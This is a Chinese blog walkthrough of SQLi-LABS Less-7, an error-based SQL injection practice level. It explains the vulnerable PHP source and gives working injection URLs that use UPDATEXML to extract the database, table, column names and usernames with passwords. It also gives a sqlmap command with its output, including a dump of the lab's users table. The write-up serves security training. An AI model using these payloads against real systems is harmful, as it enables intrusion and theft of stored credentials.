sqli-labs通关笔记-第07关 GET报错型注入(单引号双括号闭合 手工注入+脚本注入两种方法)

发布于:2025-07-19 ⋅ 阅读:(15) ⋅ 点赞:(0)

目录

一、字符型注入

二、报错型注入

三、limit函数

四、源码分析

1、代码审计

2、SQL注入安全分析

五、渗透实战

1、进入靶场

2、注入点分析

(1)SQL语句分析

(2)查询id=1

(3)万能注入or 1=1

(4)查询id=-1

(5)万能查询失败注入

(6)注入单引号

 3、手工注入

(1)获取数据库名

(2)获取表名

(3)获取列名

(4)获取数据

4、sqlmap渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第07关Less 07基于单引号双括号闭合的布尔型SQL注入关卡进行渗透实战。  

一、字符型注入

字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。

二、报错型注入

报错型注入则利用数据库错误处理机制,通过故意触发SQL错误(如除以零、类型转换错误等)使数据库返回包含敏感信息的错误消息,攻击效率高但需要系统显示错误信息。布尔注入需要更多猜测和验证,而报错注入可直接获取数据片段。

报错型注入与uniion联合注入的区别如下表所示。

对比项 报错型注入 UNION 注入
数据获取方式 通过数据库错误信息间接获取 通过合并查询结果直接获取
适用场景 页面仅显示错误信息 页面返回查询结果
效率 低(逐位获取,多次请求) 高(一次请求获取大量数据)
依赖条件 数据库开启错误显示,支持特定函数 原查询为 SELECT 语句,字段数和类型匹配
示例 Payload ' and updatexml(1,(select user()),0) # ' union select 1,user(),3#

三、limit函数

Limit是 SQL 中用于限制查询结果数量的子句,不是真正的函数。Limit通常有两种常见形式,具体如下所示。

  • 单参数形式LIMIT n

    • 返回前 n 条记录

    • 示例:LIMIT 5 返回前5条结果

  • 双参数形式LIMIT offset, count

    • offset:跳过的记录数(从0开始)

    • count:要返回的记录数

    • 示例:LIMIT 10, 5 跳过前10条,返回接下来的5条

举例:SQL语句“SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1”中的LIMIT 0,1"表示获取第一条匹配的记录",LIMIT0,1的具体含义如下所示,

  • 从第0条记录开始(即不跳过任何记录)

  • 只返回1条记录

四、源码分析

1、代码审计

本关卡Less07是基于字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less07关卡的源码功能是简单基于id的查询页面。相对于第六关,区别主要包括两点,其一是id的闭合方式由双引号变为了单引号双括号,其二是查询成功和失败的显示信息不同,具体对比如下所示。

本关卡源码通过单引号双括号包裹的GET参数id构造SQL查询,所有查询成功的情况打印信息相同“You are in.... Use outfile......”,所有查询失败页面输出的信息相同“You have an error in your SQL syntax”,但是如果数据库报错会通过print_r(mysqli_error($con1))正常打印。详细注释后的源码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-7 Dump into Outfile</title> <!-- 文件导出 -->
</head>

<body bgcolor="#000000"> <!-- 黑色背景 -->
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">
Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"> <!-- 黄色文字显示区 -->

<?php
// 包含MySQL连接配置文件
include("../sql-connections/sqli-connect.php");
// 关闭错误报告
error_reporting(0);

if(isset($_GET['id'])) {
    $id = $_GET['id']; // 直接获取用户输入
    
    // 记录用户输入到日志文件
    $fp = fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);

    // 构造SQL查询 - 双重括号包裹
    $sql = "SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1"; 
    
    // 执行查询
    $result = mysqli_query($con1, $sql);
    $row = mysqli_fetch_array($result, MYSQLI_BOTH);

    if($row) { // 查询成功
        echo '<font color= "#FFFF00">';    
        echo 'You are in.... Use outfile......'; // 提示使用outfile
        echo "<br>";
        echo "</font>";
    } else { // 查询失败
        echo '<font color= "#FFFF00">';
        echo 'You have an error in your SQL syntax';
        print_r(mysqli_error($con1)); // 显示数据库错误
        echo "</font>";  
    }
} else { // 无id参数
    echo "Please input the ID as parameter with numeric value"; 
}
?>
</font> </div><br><br><br>
<center>
<img src="../images/Less-7.jpg" /></center>
</body>
</html>

这是一个存在SQL注入安全风险的用户查询系统,主要功能是:

  • 接收URL中的id参数(GET方式)

  • 记录所有查询尝试到日志文件(result.txt)

  • 使用双重括号包裹用户输入(id=(('$id'))

  • 查询成功时提示"Use outfile"

  • 查询失败时显示SQL语法错误和数据库错误详情

  • 无参数时显示输入提示

2、SQL注入安全分析

这个代码存在严重的SQL注入安全问题,原因如下:

  • 未过滤的用户输入:直接将$_GET['id']拼接到SQL语句中,没有任何过滤或转义处理。

  • 非常规参数字符串拼接方式:SQL查询使用单引号括号包裹用户输入id=(('$id')),攻击者可以闭合单引号双括号注入恶意代码。

  • 错误信息显示:当查询出错时,代码会通过print_r(mysqli_error($con1))显示MySQL错误信息,这有助于攻击者进行基于错误的SQL注入。

五、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://127.0.0.1/sqli-labs/

其中第7关在基础注入关卡“SQLi-LABS Page-1(Basic Challenges)”中, 点击进入如下页面。

http://127.0.0.1/sqli-labs/#fm_imagemap

点击上图红框的Less7关卡,进入到靶场的第07关卡报错型注入关卡,页面提示“Please input the ID as parameter with numeric value”,具体如下所示。

http://127.0.0.1/sqli-labs/Less-7/

2、注入点分析

(1)SQL语句分析

根据源码分析可知,本关卡基于GET方法传入参数id,并未对id进行任何过滤,故而注入点位id。SQL语句的含义是根据用户提供的ID值(字符型)从users表中查询并返回匹配的用户记录的所有字段信息,且仅返回第一条匹配结果,具体代码如下所示。

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";

根据id=(('$id'))可知闭合方式为单引号双括号,故而SQL注入为字符型注入。

(2)查询id=1

根据上一步我们分析注入点为id,我们首先使用id=1进行探测,完整URL如下所示。

http://127.0.0.1/sqli-labs/Less-7/?id=1

(3)万能注入or 1=1

尝试万能注入语句')) or 1=1 -- ,其中空格的URL编码为加号,如下为完整URL。

http://127.0.0.1/sqli-labs/Less-7/?id=1')) or 1=1 --+

此时页面显示“You are in.... Use outfile......”,说明查询成功,查询到所有的内容,但是通过源码分析我们知道无论查询到任何信息,都只是打印“You are in.... Use outfile.......”,页面显示与源码分析结果一致,如下所示。 

(4)查询id=-1

使用id=-1,查询注定会失败,如下为完整URL。

http://127.0.0.1/sqli-labs/Less-7/?id=-1

页面提示“You have an error in your SQL syntax” ,如下所示。

(5)万能查询失败注入

尝试万能查询失败注入语句" and 1=2 -- ,其中空格的URL编码为加号,如下为完整URL。 

http://127.0.0.1/sqli-labs/Less-7/?id=1')) and 1=2 --+

页面提示“You have an error in your SQL syntax” ,说明查询失败,id确实为注入点,具体如下所示。

(6)注入单引号

注入单引号,此时无法构成闭合,SQL语句注入时会报错。完整URL如下所示。

http://127.0.0.1/sqli-labs/Less-7/?id=1'

页面提示“You have an error in your SQL syntax” ,说明查询失败,页面还将SQL报错语句显示出来“ check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'')) LIMIT 0,1' at line 1”,这说明本关卡注入点为id的字符型注入,具体如下所示。

 3、手工注入

(1)获取数据库名

如下所示,数据库的名称为“security”。

http://192.168.59.1/sqli-labs/Less-7/?id=1')) AND UPDATEXML(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1)--+

(2)获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

http://192.168.59.1/sqli-labs/Less-7/?id=1')) AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()),0x7e),1)--+

(3)获取列名

如下所示,数据库users表的列名分别为id,username,password。

http://192.168.59.1/sqli-labs/Less-7/?id=1')) AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(COLUMN_NAME) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'),0x7e),1)--+

(4)获取数据

最后通过上一步获取到的列名来提取users表的内容,第一行元素为Dumb:Dumb,如下所示渗透成功。

http://192.168.59.1/sqli-labs/Less-7/?id=1')) AND UPDATEXML(1,CONCAT(0x7e,(SELECT GROUP_CONCAT(CONCAT(username,':',password)) FROM users),0x7e),1)--+

4、sqlmap渗透实战

我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),闭合方式为单引号括号【即')】,*号在sqlmap中是一个非常重要的标记符号,主要用于指定注入点位置完整的SQL注入命令如下所示,由于已知注入点为id,故而使用【id=1'))*】标识注入点,完整注入命令如下所示。

sqlmap -u "http://192.168.59.1/sqli-labs/Less-7/?id=1'))*" --current-db --dump --batch

sqlmap渗透成功,可以通过报错法、时间盲注2种方法渗透成功,具体信息如下所示。

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1137 HTTP(s) requests:
---
Parameter: #1* (URI)
    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: http://192.168.59.1:80/sqli-labs/Less-7/?id=1')) AND GTID_SUBSET(CONCAT(0x7162717071,(SELECT (ELT(4995=4995,1))),0x717a786271),4995)-- LReF

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://192.168.59.1:80/sqli-labs/Less-7/?id=1')) AND (SELECT 2910 FROM (SELECT(SLEEP(5)))serX)-- VWfW
---
[03:48:11] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[03:48:11] [INFO] fetching current database
[03:48:11] [INFO] retrieved: 'security'
current database: 'security'


Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+

网站公告

今日签到

点亮在社区的每一天
去签到